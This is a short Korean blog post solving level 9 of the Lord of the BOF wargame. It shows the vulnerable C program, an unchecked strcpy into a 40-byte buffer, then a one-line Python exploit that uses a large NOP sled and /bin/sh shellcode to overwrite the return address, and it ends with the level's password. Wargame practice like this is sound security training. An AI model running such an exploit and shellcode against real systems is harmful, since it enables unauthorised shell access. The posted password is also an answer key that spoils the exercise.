thumbnail
cd ..
root@blog:~/posts/ 202210

FTZ LOB LEVEL 9

#KOR#pwn
2022.10.21.

0. 들어가기 전에

물론 HTB를 시작하긴 했지만, pwn공부도 천천히, 또 꾸준하게 해 나갈 생각이다. 결국 HTB에서도 pwn 기법을 사용할 일도 있거니와, 어차피 내년 초 CCNA 딸 때까지는 계속해서 양쪽의 기법에 익숙해지고, 또 여러가지 머신을 풀어나가며 해킹 프로세스도 손에 익히는 시간을 가질 예정이다.

1. Level 9 : Troll -> Vampire

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
./vampire `python -c 'print "D"*44+"\x28\xf3\xfe\xbf"+" "+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

비밀번호 : music world

Source

[ comments ]